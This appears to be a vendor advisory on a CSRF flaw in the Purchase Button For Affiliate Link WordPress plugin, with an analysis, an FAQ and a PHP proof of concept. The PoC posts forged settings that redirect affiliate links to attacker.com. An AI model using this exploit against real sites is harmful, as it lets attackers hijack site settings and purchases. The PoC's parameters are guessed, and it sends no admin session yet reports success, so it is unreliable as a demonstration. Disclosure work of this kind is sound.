Atomic Edge analysis of CVE-2026-1073 (metadata-based):
The vulnerability is a Cross-Site Request Forgery (CSRF) in the Purchase Button For Affiliate Link WordPress plugin. The root cause is missing nonce validation on the settings page form handler. The vulnerable file is inc/purchase-btn-options-page.php. This flaw allows unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link. The CVSS vector indicates network attack vector, low attack complexity, no privileges required, user interaction required, and low integrity impact. Atomic Edge research infers the plugin likely uses a standard WordPress admin menu page for settings. The form submission handler probably hooks into admin_init or a similar early action without verifying the WordPress nonce. The exploit method involves crafting a forged HTTP request that mimics a legitimate settings update. The request targets the plugin’s settings update endpoint, which is likely /wp-admin/admin-post.php or a custom admin page. The fix requires adding a nonce check using wp_verify_nonce and a capability check before processing form data. Exploitation could alter affiliate links, button styles, or other configuration, potentially redirecting purchases or breaking functionality. The impact is limited to integrity (settings modification) without direct confidentiality or availability loss.
CVE-2026-1073: Purchase Button For Affiliate Link <= 1.0.2 – Cross-Site Request Forgery to Settings Update (purchase-button)
CVE-2026-1073
purchase-button
1.0.2
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1073 - Purchase Button For Affiliate Link <= 1.0.2 - Cross-Site Request Forgery to Settings Update
<?php
/**
* Proof of Concept for CVE-2026-1073
* Assumptions based on metadata:
* 1. Plugin uses standard WordPress admin settings page
* 2. Form submits via POST to admin-post.php or admin-ajax.php
* 3. Missing nonce validation allows CSRF
* 4. No capability check or it's insufficient
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-post.php';
// Craft malicious POST data to change plugin settings
// Actual parameter names are inferred from typical plugin patterns
$post_data = [
'action' => 'purchase_button_update_settings', // Inferred action hook
'affiliate_url' => 'https://attacker.com/affiliate', // Malicious affiliate link
'button_color' => '#ff0000', // Changed button color
'button_text' => 'Buy Now', // Changed button text
// Other possible parameters based on plugin functionality
// 'redirect_enabled' => '1',
// 'new_window' => '1',
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
if ($http_code === 200 || $http_code === 302) {
echo "CSRF attack likely successful. Check plugin settings.";
} else {
echo "Attack may have failed. HTTP code: $http_code";
}
?>Frequently Asked Questions
What is CVE-2026-1073?
Overview of the vulnerabilityCVE-2026-1073 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Purchase Button For Affiliate Link plugin for WordPress, specifically in versions up to and including 1.0.2. It allows unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from missing nonce validation on the settings page form handler, allowing attackers to send forged requests. If an administrator is tricked into clicking a link, the attacker can change settings such as affiliate links or button styles without proper authentication.
Who is affected by this vulnerability?
Identifying vulnerable usersAny WordPress site using the Purchase Button For Affiliate Link plugin version 1.0.2 or earlier is affected. Administrators should check their plugin version and update if necessary to mitigate the risk.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the Purchase Button For Affiliate Link plugin installed. If it is version 1.0.2 or earlier, your site is at risk and should be updated immediately.
What is the recommended fix for this vulnerability?
Mitigation stepsThe recommended fix is to update the Purchase Button For Affiliate Link plugin to the latest version where the vulnerability is patched. Additionally, developers should implement nonce validation and capability checks in their form handlers.
What does the CVSS score of 4.3 indicate?
Understanding severity levelsThe CVSS score of 4.3 indicates a medium severity level for this vulnerability. It suggests that while the vulnerability requires user interaction to exploit, it poses a significant risk to the integrity of the plugin settings.
What is Cross-Site Request Forgery (CSRF)?
Definition of CSRFCross-Site Request Forgery (CSRF) is a type of attack that tricks a user into executing unwanted actions on a web application in which they are authenticated. This can lead to unauthorized actions being taken without the user’s consent.
How does the proof of concept demonstrate the issue?
Understanding the provided codeThe proof of concept code illustrates how an attacker can craft a malicious POST request to the vulnerable plugin’s settings update endpoint. It shows how the absence of nonce validation allows the attacker to modify settings without authentication.
What are the potential impacts of this vulnerability?
Consequences of exploitationIf exploited, this vulnerability could allow attackers to alter affiliate links, change button styles, or disrupt functionality of the plugin. While there is no direct loss of confidentiality or availability, the integrity of the site’s settings could be compromised.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf an immediate update is not possible, consider disabling the Purchase Button For Affiliate Link plugin until a patch is applied. Additionally, educate administrators about the risks of clicking unknown links to reduce the likelihood of exploitation.
Are there any other security measures I should consider?
Best practices for WordPress securityIn addition to updating vulnerable plugins, ensure that your WordPress installation is up to date, use strong passwords, implement two-factor authentication, and regularly back up your site. These practices can help mitigate the risk of various vulnerabilities.
Where can I find more information about this vulnerability?
Additional resourcesMore information about CVE-2026-1073 can be found on the official CVE database and security advisory sites. Additionally, the plugin’s official page may provide updates and patches related to this vulnerability.
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